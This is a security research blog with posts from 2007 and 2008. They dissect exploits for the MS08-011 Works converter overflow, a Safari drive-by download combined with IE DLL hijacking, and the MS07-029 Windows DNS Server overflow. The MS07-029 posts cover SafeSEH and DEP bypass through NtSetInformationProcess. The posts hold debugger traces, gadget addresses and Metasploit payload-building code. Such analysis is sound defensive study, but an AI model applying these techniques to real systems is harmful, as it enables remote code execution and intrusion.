Software Vulnerability Exploitation Blog

Friday, June 20, 2008

Exploiting Office: MS08-011 – Attacking using Malformed .WPS

Microsoft Office Exploitation is still to be continued in today. Microsoft Office and Internet Explorer is the target because they are the applications that used everyday and has the more possibility to interact with external entities that other applications. However, exploiting Microsoft Office is not trivial, you must know a lot of Office document format - Word, Excel, PowerPoint and etc. I try to learn these files formats from internet and I found that it's not easy and time consuming. I think may be trying to learn the file format from exploit may be the easier way. So, I pick up the MS08-011 Microsoft Works files (.WPS) vulnerability to be the case study.

According to Microsoft Security Bullentin, MS08-011 occurs when Microsoft Office or Microsoft Works Suite try to convert the crafted .WPS files to be other format. The vulnerability in this case is stack-based buffer overflow which is easier to exploit. I set up Microsoft Windows XP SP2 and Microsoft Office 2003 SP3 as the test-based. To exploit this vulnerability, you have to install Import Converter. If you have not yet installed it, Microsoft Word will install it when you try to open .WPS file:

Photobucket

I use Chujwamwdupe's exploit which tested on Windows XP SP2 de and Office 2003 SP3. This is the result:

Photobucket

Microsoft Word crashs, however, the calculator is launched which means that it exploits successfully without any modification. In the exploit, it use the return address 0x7c941eed which point to "jmp esp" instruction. in XP SP2 de. When I lookup this address in my machine, it's point to the same instruction, that's why I don't have to change any part of the exploit.

I start to debug the vulnerability by changing the return to 0x41414141 and re-run the exploit. However, it seems that all of information on the stack are destroyed by the exploit, so I can't trace back to see what's happened. Umm.... may be I have to find more details from the exploit code instead. In the code, the author said that when you change the length of TEXT section to the value more than 0x10 , the overflow will occur. I start to locate the magic characters of .WPS file "CHNKWKS" and the locate the "TEXT" characters. After the "TEXT" field, I see only one character that is not null:

Photobucket

I think may be this is the key to trick the overflow. I change this value to 0x01 and re-run the exploit:

Photobucket

At this time, it crash in different position from the old one, 0x61092ae7 (wkcvqd01!DllGetClassObject + 0x158fd). I put the assumption that the overflow situation may be related to this function, so I start to disassembly the code section and it's lucky because the code is easy to understand:

Photobucket

Shortly describe, this code copy data from the address pointed by esi to the address pointed by edi. esi got the address from eax, and edi got the address from ecx. Each of loop will copy 12 bytes and check the loop condition value which stored at address pointed by ebx + 0Ah. I set the value 0x01 back to 0x2f, then set the breakpoint in debugger at 0x61092ae7. When I run the exploit, the message breakpoint hit occurs on the screen and I run the debugger step by step until I see something interesting:

Photobucket

At this step, the loop condition is loaded from address pointed by ebx + 0xa to esi, and it's value is 0x2f !!! Yezzz, this value which I suspect is an important key in the exploit. It's functionality is the number of loop, for each loop the program will copy 12 bytes from source to destination totally 12 * 0x2f = 564 bytes to memory. If you calculate length of shellcode + number of bytes after 0x2f + length of the return address, you will see that it is 362 + 20 + 4 = 386 bytes which small enough for the value 0x2f to copy all of we need.

I continue the debugger until exit the loop, the stack looks like this:

Photobucket

Our return address is stored at 0x001242e8 and starting of the shellcode is at 0x001242ec. After this step we will see 2 "pop" instruction and 1 "ret" instruction, then flow of execution transfers to 0x61091b25, wkcvqd01!DllGetClassObject + 0x1493b:

Photobucket

I continue run step-by-step until the instruction "ret" again:

Photobucket

Now, it's easy to understand what's happened next ;) Microsoft Word will returns to address on the stack which point to "jmp esp" instruction. After that, the program will landing on the stack which our shellcode is stored:

Photobucket

End ^=^

Monday, June 16, 2008

Blended Threat: Attacking Windows Users using Safari’s and IE’s Vulnerabilities

One year / One entry ^_^. Normally, most of information security people use one or more web browser because this can make you surf the web more secure. You can choose which web browser will be used to surf the specific web, so you can avoid to use the vulnerable browser to visit the suspected web site. But, do you think using multiple browsers will make your machine infect malware instead of be more secure, lol. Yes, I'm talking about vulnerabilities of 2 web browser, Safari and Internet Explorer. Each of vulnerability is considered moderate/less severity, however, when using these vulnerabilities together the severity will become critical. The vulnerabilities I describe in this entry are Safari "Carpet Bomb" and Internet Explorer "DLL Load Hijack"

Safari Carpet Bomb ,discovered by Netish Dhanjani, is the vulnerability of Apple's web browser on OS X and Microsoft Windows. When users use Safari to browse the specially crafted website, Safari will download file into users machine without users interaction (default location is Desktop). The trick to force Safari to download file into user machine is iframe:

...
iframe src="somefile" width=xxx height=xxx

...


I install Safari 3.3.1 (525.17), the latest version of Safari, and browse to my crafted website. The result is in below:

Photobucket

Safari download 3 files into Desktop - A, B and C. Many people, including Apple, consider this behavior to be less or no harmful. The file downloaded into users machine could not be executed by Safari itself. Yes, their attitude are right until Aviv Raff point to something important.

Aviv Raff, a brilliant security researcher, has discovered something that can escalate Safari's vulnerability to critical severity. He releases the screen-shot to prove that command execute could be occur when combine Safari's vulnerability with Internet Explorer behavior. If you notice the stuff that he discover about IE in the past, you will see something that very interesting. In December 2006, Aviv Raff had discovered that IE7 has the behavior that may be dangerous to the user. For some DLLs, IE7 will search the DLLs from PATH environment and loaded the first match into memory. In some situation, IE7 will search from Desktop. If the attacker has the ability to put DLLs on the victim's Desktop, he will won the game...

Now, I think you already know how to put things together, right? :). Trick the users to download file into Desktop by using Safari's vulnerability and waiting users to launch IE is the way to do. To test this, I create 3 DLLs file - sqmapi.dll, imageres.dll and schannel.dll - which will launch calc.exe, notepad.exe and mspaint.exe. Is it necessary to named the DLLs like these ?. According to Aviv's information, only these DLLs can be used to hijack the IE. This is the result when I use Safari to browse the web and then open IE7:

Photobucket

and this screen-shot confirm that IE7 already launch calc, notepad and mspaint:

Photobucket

If you would like to see IE search which path in order, you can use Process Monitor to view it. This is the snapshot from Process Monitor:

Photobucket

From the picture above, I can assume that the search path of IE is in the following order:

  • C:\Program Files\Internet Explorer\
  • C:\WINDOWS\system32\
  • C:\WINDOWS\system\
  • C:\WINDOWS\
  • C:\Documents and Settings\username\Desktop

Have fun with them ^_^

P.S. This attack also called "Blended Threat". It means the software vulnerability that combine with two or more different vulnerabilities.

Wednesday, August 15, 2007

MS07-029 Series: - Part 4: Exploiting the DNS Server holes on Windows 2003 Server SP1/SP2 - Bypass hardware-enforced DEP/NX in real world

After I described how to exploit MS07-029 vulnerability on Windows 2003 Server SP1/SP2, now I will post about it again but in the different technique. In this post I will describe how to bypass hardware-enforced DEP or NX on Windows 2003 Server SP1/SP2 instead of software DEP (SafeSEH issue). However, because I have no NX support machine, so something will be missed and It’s very helpful if you help me to correct things.

Now, before I go to the debugging process, I have to review some exploit code to see how it’s work. As other posts, I use msdns_zonename.rb from http://www.metasploit.com as the exploit code to research. This is the return address section of Windows 2003 Server SP1/SP2 target:

Windows 2003 Server SP1-SP2 English', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a80000 }

Something has changed from the old one. The return address of Windows 2000 and 2003 SP0 are called Ret and Rets, however, the return address in this target is called IB (Image Base). What’s the image that start at the address 0x76a80000 ?

0:011> !lmi 76a80000
Loaded Module Info: [76a80000]
Module: ATL
Base Address: 76a80000
Image Name: C:\WINDOWS\System32\ATL.DLL
...


It’s the image base of ATL.DLL and start at 0x76a80000. Then I go to the code of Windows 2003 SP1/SP2 exploitation section

off = mytarget['Off']

ib = mytarget['IB']
txt[ off ] = [ib + 0x2566].pack('V')

First, it set the payload to 0x76a80000 + 0x2566 = 0x76a82566 at the 1633th byte of the payload:

0:011> u 0x76a82566
ATL!AtlModuleUpdateRegistryFromResourceD+0x19b:
76a82566 add ebp,5ACh
76a8256c leave
76a8256d ret 14h

At the address 0x76a82566 is the instruction that add some value to ebp, switch value between ebp/esp and pop value of esp to ebp, then jump to the address on esp. Then, when I lookup the rest of code, I decide to step into the debugging process because it ‘s quite difficult to understand what the exploit code does.

I run the exploit and the debugger give the same result on other target:

(1f4.6d0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00169f0e ebx=013a0000 ecx=00007a69 edx=013a0000 esi=00000003 edi=00169f0b
eip=01015462 esp=0139f6ac ebp=0139f6b0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

dns!extractQuotedChar+0x3b:
01015462 mov byte ptr [edx],cl ds:0023:013a0000=??

After this phase, the exception handler will be called to handle the exception:


ntdll!ExecuteHandler2+0x24:
7c828750 call ecx {ATL!AtlModuleUpdateRegistryFromResourceD+0x19b (76a82566}

0:012> bp 76a82566
0:012> p
Breakpoint 0 hit
ATL!AtlModuleUpdateRegistryFromResourceD+0x19b:
76a82566 add ebp,5ACh

Could you remember 0x76a82566 ? Yep, it is the fake return address in our payload that overwrite the SEH handler on the stack. It is also can bypass the SafeSEH protection (software DEP on Windows) because the ATL.DLL is complied with the older version of SafeSEH and the protection is broken. Then I continue the debugging process:

ATL!AtlModuleUpdateRegistryFromResourceD+0x1a1:
76a8256c leave

0:012> p
eax=00000000 ebx=00000000 ecx=76a82566 edx=7c828766 esi=00000000 edi=00000000
eip=76a8256d esp=0189f8b4 ebp=6f51626a iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212

ATL!AtlModuleUpdateRegistryFromResourceD+0x1a2:
76a8256d ret 14h

0:012> dd esp
0189f8b4 76a81da7 46356579 42387556 7a726759

The flow of execution will jump to 0x76a81da7. Where’s 0x76a81da7 come from ? It’s in the code line:

txt[ off + 4, 4 ] = [ib + 0x1da7].pack('V')

What does this return address do ? It’s pop the value from the stack and store at esi, then return.

0:012> u
ATL!ATL::CExpansionVector::CExpansionVector+0x1a:
76a81da7 pop esi
76a81da8 ret

0:012> p
eax=00000000 ebx=00000000 ecx=76a82566 edx=7c828766 esi=000000ed edi=00000000
eip=76a81da8 esp=0189f8d0 ebp=6f51626a iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212

ATL!ATL::CExpansionVector::CExpansionVector+0x1b:
76a81da8 ret

The value 0xed stored in esi come from the code in this line:

txt[ off + 28, 4] = [0xed].pack('V')

Then the process will jump to 0x76a81da4: which coded in line:

txt[ off + 32, 4] = [ib + 0x1da4].pack('V')

...
ATL!ATL::CExpansionVector::CExpansionVector+0x1b:
76a81da8 ret

0:012> dd esp
0189f8d0 76a81da4 7ffe0300 63685572 76a8109c

...
0:012> u
ATL!ATL::CExpansionVector::CExpansionVector+0x17:
76a81da4 pop ecx
76a81da5 mov eax,esi
76a81da7 pop esi
76a81da8 ret

The instructions at address 0x76a81da4 are the series of instruction that pop the value from the stack and then jmp to the address on the stack:

0:012> dd esp
0189f8d4 7ffe0300 63685572 76a8109c 7970574f

76a81da4 pop ecx
0:012> p
eax=00000000 ebx=00000000 ecx=7ffe0300 edx=7c828766 esi=000000ed edi=00000000
eip=76a81da5 esp=0189f8d8 ebp=6f51626a iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212

ATL!ATL::CExpansionVector::CExpansionVector+0x18:
76a81da5 mov eax,esi
0:012> p
Breakpoint 1 hit
eax=000000ed ebx=00000000 ecx=7ffe0300 edx=7c828766 esi=000000ed edi=00000000
eip=76a81da7 esp=0189f8d8 ebp=6f51626a iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212

ATL!ATL::CExpansionVector::CExpansionVector+0x1a:
76a81da7 5e pop esi
0:012> p
eax=000000ed ebx=00000000 ecx=7ffe0300 edx=7c828766 esi=63685572 edi=00000000
eip=76a81da8 esp=0189f8dc ebp=6f51626a iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212

ATL!ATL::CExpansionVector::CExpansionVector+0x1b:
76a81da8 ret

Now, eax is set to 0xed and ecx is set to 0x7ffe0300, then jump to 0x76a8109c:

eax=000000ed ebx=00000000 ecx=7ffe0300 edx=7c828766 esi=63685572 edi=00000000
eip=76a8109c esp=0189f8e0 ebp=6f51626a iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212

ATL!AtlComQIPtrAssign+0x23:
76a8109c call dword ptr [ecx] ds:0023:7ffe0300={ntdll!KiFastSystemCall (7c8285e8)}

The value 0x7ffe0300 is in the code line:

txt[ off + 36, 4] = [0x7ffe0300].pack('V')

and 0x76a8109c in the line:

txt[ off + 44, 4] = [ib + 0x109c].pack('V')

But… what is the address 0x7ffe0300 ? It’s look like the pointer to some location (0x7c8285e8). I’ve found the answer in this blog. The address 0x7ffe0300 is the offset + 0x300 from KUSER_SHARED_DATA structure and it’s something for system call issue:

0:007> dt ntdll!_KUSER_SHARED_DATA

+0x2f8 TestRetInstruction : Uint8B
+0x300 SystemCall : Uint4B
+0x304 SystemCallReturn : Uint4B

Now the flow of execution transfer to 0x7c8285e8ntdll!KiFastSystemCall:

0:012> u
ntdll!KiFastSystemCall:
7c8285e8 8bd4 mov edx,esp
7c8285ea 0f34 sysenter

After jump to 0x7c8285e8 – ntdll!KiFastSystemCall, the process will move value from esp to edx and run sysenter instruction. But wait… what is sysenter instruction -*- ? After I search through the google, I’ve found the interesting article Windows syscall shellcode. In summary, sysenter is the instruction that execute the “system call” of Microsoft Windows operating system – switch to ring 0 level – the kernel mode. The eax value is the system call number to be executed – in this case 0xed. What is the system call number 0xed ? It is NtSetInformationProcess (search at http://www.metasploit.com/users/opcode/syscalls.html).

The parameter of sysenter is passed to NtSetInformationProcess by edx. It points to the return address after execute the sysenter command and the array of argument that pass to the system call – NtSetInformationProcess in this case.

ntdll!KiFastSystemCall:
7c8285e8 8bd4 mov edx,esp

0:012> p
eax=000000ed ebx=00000000 ecx=7ffe0300 edx=0189f8dc esi=63685572 edi=00000000
eip=7c8285ea esp=0189f8dc ebp=6f51626a iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212

ntdll!KiFastSystemCall+0x2:
7c8285ea 0f34 sysenter

0:012> dd edx
0189f8dc 76a8109e 7970574f ffffffff 00000022
0189f8ec 7ffe0270 00000004 32395052 55434731

The value 0x76a8109e is the return address after execute sysenter instruction. The next 4 bytes are something that you can ignore. The next 16 bytes are the parameters passed to NtSetInformationProcess which in this line of code:

txt[ off + 52, 16] = [-1, 34, 0x7FFE0270, 4].pack('VVVV')

So the process will call NtSetInformationProcess like this:

NtSetInformationProcess(-1, 0x22, 7ffe0270, 4)

-1: process handler. Pass -1 means NtCurrentProcess
0x22: ProcessExecuteFlags
7ffe0270: Address of Execute Flags which should point to 0x2
4: size of Execute Flags

In paper from uninformed.org, calling NtSetInformationProcess with these parameters will disable hardware-enforced DEP or NX. Before continue, I have to understand the meaning of 0x22 and 0xffe0270.

What’s the value 0x22 for ProcessExecuteFlags parameter. The answer is in this google group

0:007> dt _KEXECUTE_OPTIONS
ntdll!_KEXECUTE_OPTIONS

+0x000 ExecuteDisable : Pos 0, 1 Bit
+0x000 ExecuteEnable : Pos 1, 1 Bit
+0x000 DisableThunkEmulation : Pos 2, 1 Bit
+0x000 Permanent : Pos 3, 1 Bit
+0x000 ExecuteDispatchEnable : Pos 4, 1 Bit
+0x000 ImageDispatchEnable : Pos 5, 1 Bit
+0x000 Spare : Pos 6, 2 Bits

The value 0x22 when represented in binary format will be 0x0010 0010. So the bits that enable are Pos 1 (ExecuteEnable) and Pos 5 (ImageDispatchEnable). So, calling NtSetInformationProcess will let the whole areas of the image are executable.

Then, turn to 0x7ffe0270. What’s it ? I know it’s the pointer to 0x2 value:

0:007> dd 7ffe0270
7ffe0270 00000002 01010000 00010000 00010001

And it’s the offset +0x270 from KUSER_SHARED_DATA

0:007> dt ntdll!_KUSER_SHARED_DATA

+0x26c NtMajorVersion : Uint4B
+0x270 NtMinorVersion : Uint4B
+0x274 ProcessorFeatures : [64] UChar

The address 0x7ffe0270 is a pointer to NtMinorVersion which is 0x2. The word “NtMinorVersion” lets me remember something. It’s a minor version number of Windows 2003 Server operating system (Windows 2003 Server version is 5.2). Then I verify my assumption by look at the value that 0x7ffe026cNtMajorVersion – point to.

0:007> dd 0x7ffe026c
7ffe026c 00000005 00000002 01010000 00010000

It points to 0x5 which is major version number of Windows 2003 Server operating system.

Now back to the analysis process. After the call of NtSetInformationProcess, the NX would be disabled and the flow of execution is transferred to 0x76a8109e – after the call dword ptr [ecx] instruction at 0x76a8109c

ATL!AtlComQIPtrAssign+0x25:
76a8109e test edi,edi

When back to 0x76a8109e, the process executes 2 -3 instructions and then crash again at 0x76a810a8 – ATL!AtlComQIPtrAssign+0x2f:

ATL!AtlComQIPtrAssign+0x2f:
76a810a8 mov eax,dword ptr [esi] ds:0023:6447504f=????????

And then our fake exception handler is called again:

ntdll!ExecuteHandler2+0x24:
7c828750 call ecx {ATL!AtlModuleUpdateRegistryFromResourceD+0x19b (76a82566)}

ATL!AtlModuleUpdateRegistryFromResourceD+0x19b:
76a82566 add ebp,5Ach

ATL!AtlModuleUpdateRegistryFromResourceD+0x1a1:
76a8256c leave

ATL!AtlModuleUpdateRegistryFromResourceD+0x1a2:
76a8256d ret 14h

0:007> dd esp
0139fae8 76a935bf 696e504a 77434a69 46555951

The value 0x76a935bf on the stack is in line:

txt[ off, 4 ] = [ib + 0x135bf].pack('V')

and its purpose is to execute the jmp esp instruction.

0:007> p
eax=00000000 ebx=00000000 ecx=76a82566 edx=7c828766 esi=00000000 edi=00000000
eip=76a935bf esp=0139fb00 ebp=4242666d iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216

ATL!__pfnDliNotifyHook2 (ATL+0x135bf):
76a935bf jmp esp {0139fb00}

0:007> dd esp
0139fb00 cccccccc 047f0566 43d43924 b2fc3b46

And then reach out shellcode :)

Finally, because of the post is very long, so I try to create a picture that demonstrates the flow of instructions and the purpose of them. It may be help you understand the concept of this exploit.


Photo Sharing and Video Hosting at Photobucket

Wednesday, July 04, 2007

MS07-029 Series - Part 3: Exploiting the DNS Server holes on Windows 2003 Server SP0 - __except_handler3 method

This is the third post in MS07-029 series and the second post about how to exploit this vulnerability in Windows 2003 Server environment. However, instead of discuss about Windows 2003 Server SP1/SP2 same as the last post, in this post I will describe about the exploitation technique in Windows 2003 Server SP0 - __except_handler3 method.

What's __except_handler3 ? It is the code that exception handler pointer in every EXCEPTION_REGISTRATION on the stack point to. It's always called when the exception handler is activated. I suggest you read this research to understand the concept how we can use __except_handler3 in the SEH exploitation.

Now, I will start the research by looking the metasploit code for Windows 2003 Server SP0 target in msdns_zonename.rb:

[ 'Windows 2003 Server SP0 English', { 'OS' => '2003SP0', 'Off' => 1593, 'Rets' => [0x77f45a34 , 0x77f7e7f0, 0x76a935bf] } ]

The first question about the code is that why there are 3 return addresses on the target. The address 0x77f45a34 is the address of __except_handler3 in Windows 2003 Server SP0.

The address 0x76a935bf is the address of "jmp esp" instruction in ATL.dll. For 0x77f7e7f0, I will describe it later because I think it would be clear how many important of this address if I use it in the real situation.

there is another code section that I have to try to understand:

# addr = A + B*12 + 4 = 0x77f7e7f0 (ntdll -> 0x77f443c9)

addr = mytarget['Rets'][1] - 4

addr1 = addr / 2

addr2 = addr1 + addr % 2

addr1 = addr1 + (addr2 % 12)

addr2 = addr2 / 12


txt[ off + 4, 8] = [addr1, addr2].pack('VV') # A,B


The function of this code is to find the value of A and B that make A + B * 12 + 4 = 0x77f7e7f0 - the second return address of this target. After this calculation the addr1/A is 0x3bfbf400 and addr2/B is 0x04ffa9a9. The address 0x77f7e7f0 stored the value 0x77f44ec9. I try disassemble 0x77f44ec9:

ntdll!memcpy+0x143:
77f443c9 ff249510e8f777 jmp dword ptr ntdll!memcpy+0x14c (77f7e810)[edx*4]

77f443d0 8b4508 mov eax,dword ptr [ebp+8]

77f443d3 5e pop esi

77f443d4 5f pop edi

77f443d5 c9 leave

77f443d6 c3 ret


Its function is do a little thing and then jump the the address that stored on the stack. Don't mind if you don't know the important of the address at this time. I will describe later about it.

Before I'm going to the debugging phase, I have to find out what's the equation A + B * 12 + 4 = 0x77f7e7f0. I decide disassemble __except_handler3:

ntdll!_except_handler3:
77f45a34 55 push ebp
77f45a35 8bec mov ebp,esp
77f45a37 83ec08 sub esp,8
...

0:006> u
ntdll!_except_handler3+0xb:

77f45a3f 8b5d0c mov ebx,dword ptr [ebp+0Ch]

...

0:006> u
ntdll!_except_handler3+0x2a:

77f45a5e 8943fc mov dword ptr [ebx-4],eax

77f45a61 8b730c
mov esi,dword ptr [ebx+0Ch]
77f45a64 8b7b08
mov edi,dword ptr [ebx+8]
...

0:006> u
ntdll!_except_handler3+0x41:
77f45a75 8d0c76 lea ecx,[esi+esi*2]
77f45a78 8b448f04 mov eax,dword ptr [edi+ecx*4+4]
77f45a7c 0bc0 or eax,eax
...

0:006> u
ntdll!_except_handler3+0x53:
77f45a87 33c9 xor ecx,ecx
77f45a89 33d2 xor edx,edx
...
77f45a8f ffd0 call eax
...

If you have already read EEYE paper, you will see that if we can control the value of eax, we will able to use the instruction "call eax" at the address 0x77f45a8f to jump to our payload or something like that. To control the eax, we have to control the value of edi + ecx*4 + 4 at the address 0x77f45a78. At this address the eax value is copied with the value stored in edi + ecx*4 + 4. Because we have to set eax to the value 0x77f44ec9 which stored at 0x77f7e7f0, so we get the equation:

edi + ecx * 4 + 4 = 0x77f7e7f0.

Now look at the address 0x77f45a75, the instruction lea ecx, [esi + esi * 2]. This instruction is equivalent to move the value esi * 3 to ecx. I replace ecx with esi * 3 in the equation:

edi + (esi * 3) * 4 + 4 = 0x77f7e7f0 --> edi + esi * 12 + 4 = 0x77f7e7f0

Do you remember the new equation ? Yes, it is A + B * 12 + 4 = 0x77f7e7f0 where edi = A and esi = B.

Now, I start the debugging phase. I set break point at 0x77f45a34 - __except_handler3 and run the exploit:

...
ntdll!_except_handler3+0xb:

77f45a3f 8b5d0c mov ebx,dword ptr [ebp+0Ch] ss:0023:0118f318=0118fd54


0:006> dd ebp + c

0118f318 0118fd54 0118f410 0118f3cc 0118fd54


...

0:006> dd 0118fd54

0118fd54 424216eb 77f45a34 3bfbf400 04ffa9a9

0118fd64 42424242 76a935bf fff9b0e9 424242ff

0118fd74 42424242 42424242 42424242 42424242f


The instruction at address 0x77f45a3f is the instruction that set ebx with the value pointed by ebp + 0xc. Now ebx is value 0x0118fd54 and point to our payload. The bold green highlighted value is the value of the first return address, 0x77f45a34 - __except_handler3. The bold brown highlighted value is the value of A and B that make A + B * 12 + 4 = 0x77f7e7f0 - the second return address. The bold orange value is the value of "jmp esp" in ATL.DLL.


ntdll!_except_handler3+0x2d:

77f45a61 8b730c mov esi,dword ptr [ebx+0Ch] ds:0023:0118fd60=04ffa9a9


0:006> dd ebx + C

0118fd60 04ffa9a9 42424242 76a935bf fff9b0e9

0118fd70 424242ff 42424242 42424242 42424242


...

eax=0118f304 ebx=0118fd54 ecx=77f45a34 edx=77f68ad0 esi=04ffa9a9 edi=00000000
eip=77f45a64 esp=0118f2f4 ebp=0118f30c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

The value of esi now is 0x04ffa9a9 - addr2 - at the instruction ntdll!__except_handler3 + 0x2d.

ntdll!_except_handler3+0x30:
77f45a64 8b7b08 mov edi,dword ptr [ebx+8] ds:0023:0118fd5c=3bfbf400

0:006> dd ebx + 8
0118fd5c 3bfbf400 04ffa9a9 42424242 76a935bf
0118fd6c fff9b0e9 424242ff 42424242 42424242

...
eax=0118f304 ebx=0118fd54 ecx=77f45a34 edx=77f68ad0 esi=04ffa9a9 edi=3bfbf400
eip=77f45a67 esp=0118f2f4 ebp=0118f30c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

Now edi is 0x3bfbf400 - the addr1.

ntdll!_except_handler3+0x44:
77f45a78 8b448f04 mov eax,dword ptr [edi+ecx*4+4] ds:0023:77f7e7f0=77f443c9

0:006> p
eax=77f443c9 ebx=0118fd54 ecx=0efefcfb edx=77f68ad0 esi=04ffa9a9 edi=3bfbf400
eip=77f45a7c esp=0118f2f4 ebp=0118f30c iopl=0 nv up ei pl nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217

At ntdll!__except_handler3 + 0x44, eax is set to 0x77f443c9.

0:006> p
eax=77f443c9 ebx=00000000 ecx=00000000 edx=00000000 esi=00000000 edi=00000000
eip=77f45a8f esp=0118f2ec ebp=0118fd64 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

ntdll!_except_handler3+0x5b:
77f45a8f ffd0 call eax {ntdll!memcpy+0x143 (77f443c9)}

0:006> bp 77f443c9

0:006> p
Breakpoint 1 hit
eax=77f443c9 ebx=00000000 ecx=00000000 edx=00000000 esi=00000000 edi=00000000
eip=77f443c9 esp=0118f2e8 ebp=0118fd64 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

ntdll!memcpy+0x143:
77f443c9 ff249510e8f777 jmp dword ptr ntdll!memcpy+0x14c (77f7e810)[edx*4] ds:0023:77f7e810=77f443d0

...
0:006> p

eax=fff9b0e9 ebx=00000000 ecx=00000000 edx=00000000 esi=77f45a91 edi=0118f30c

eip=77f443d6 esp=0118fd68 ebp=42424242 iopl=0
nv up ei pl zr na pe nc
cs=001b
ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

ntdll!memcpy+0x162:
77f443d6 c3 ret

...
0:006> dd esp
0118fd68 76a935bf fff9b0e9 424242ff 42424242
0118fd78 42424242 42424242 42424242 42424242

The flow of execution reach at the address 0x77f443d6 - the ret instruction. This instruction is equivalent to jump to the value stored on the stack. So the flow of execution will transfer to 0x76a935bf - jmp esp on ATL.dll.

0:006> u 76a935bf
ATL!__pfnDliNotifyHook2 (ATL+0x135bf):
76a935bf ffe4 jmp esp

0:006> u esp
0118fd6c e9b0f9ffff jmp 0118f721
0118fd71 42 inc edx
0118fd72 42 inc edx
0118fd73 42 inc edx

0:006> u 0118f721
0118f721 cc int 3
0118f722 cc int 3

When jmp to esp, we will see the instruction jmp 0x0118f721 which jump to our shellcode :)

Sunday, July 01, 2007

MS07-029 Series - Part 2: Exploiting the DNS Server holes on Windows 2003 Server SP1/SP2 - SafeSEH issue

This is the second post on MS07-029 series. In this post, I describe the exploitation technique used in Windows 2003 Server SP1/SP2 environments. We have to face with /SafeSEH and hardware-enforced DEP, no /GS in this game because we overwrite the SEH – not the return address on the stack, but I talk about only SafeSEH in this post. For hardware-enforced DEP, I will describe later.

I start with writing 0x41414141 to the address of exception handler:

This exception may be expected and handled.
eax=001720b6 ebx=013a0000 ecx=00008042 edx=013a0000 esi=00000003 edi=001720b3
eip=01015389 esp=0139f6ac ebp=0139f6b0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
dns!extractQuotedChar+0x3b:
01015389 880a mov byte ptr [edx],cl ds:0023:013a0000=??

0:007> g
(768.7ec): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=7c82eec6 esi=00000000 edi=00000000
eip=41414141 esp=0139f2e4 ebp=0139f304 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
41414141 ?? ???

0:007> dd esp
0139f2e4 7c82eeb2 0139f3c4 0139fd50 0139f3e0
0139f2f4 0139f3a0 0139fd50 7c82eec6 0139fd50

0:007> dd 0139fd50
0139fd50 424206eb 41414141 fff996e9 424242ff
0139fd60 42424242 42424242 42424242 42424242

Everything seems OK – just change 0x41414141 to the address of instruction pop/pop/ret, our shellcode will be executed. But when I change 0x41414141 to 0x71c0291d – pop/pop/ret on ws2_32.dll, our shellcode does not execute !!?

The answer of this question is that ws2_32.dll is complied with /SafeSEH option. I confirm this by use 0x76a81a60, pop/pop/ret in atl.dll

(6fc.d8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00171675 ebx=013a0000 ecx=00008042 edx=013a0000 esi=00000003 edi=00171672

eip=01015389 esp=0139f6ac ebp=0139f6b0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

dns!extractQuotedChar+0x3b:
01015389 880a mov byte ptr [edx],cl ds:0023:013a0000=??

0:007> g
(6fc.d8): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=7c82eeb2 ecx=76a81a60 edx=7c82eec6 esi=00000000 edi=00000000
eip=0139f6f3 esp=0139f2f0 ebp=0139f3c4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

0139f6f3 cc int 3

The reason why atl.dll can be used in this exploit is that atl.dll is not compiled with /SafeSEH (information from metasploit exploit), so when we use the address in this dll, it will be passed on any check.

Now, I will investigate more detail how the address in atl.dll can pass the check while ws2_32.dll cannot. This is the path of execution of atl.dll

dns!extractQuotedChar+0x3b:
01015389 880a mov byte ptr [edx],cl ds:0023:013a0000=??

ntdll!KiUserExceptionDispatcher+0x4:
7c82ecbc 8b1c24 mov ebx,dword ptr [esp] ss:0023:0139f3bc=0139f3c4

ntdll!KiUserExceptionDispatcher+0x9:
7c82ecc1 e87653feff call ntdll!RtlDispatchException (7c81403c)

ntdll!RtlDispatchException+0x73:
7c8140ae e80bffffff call ntdll!RtlIsValidHandler (7c813fbe)
eax=0139f301

ntdll!RtlDispatchException+0x78:
7c8140b3 84c0 test al,al
eax=0139f301

ntdll!RtlDispatchException+0x7a:
7c8140b5 0f847e930500 je ntdll!RtlDispatchException+0x110 (7c86d439)

ntdll!RtlDispatchException+0x80:
7c8140bb ff7304 push dword ptr [ebx+4] ds:0023:0139fd54=76a81a60

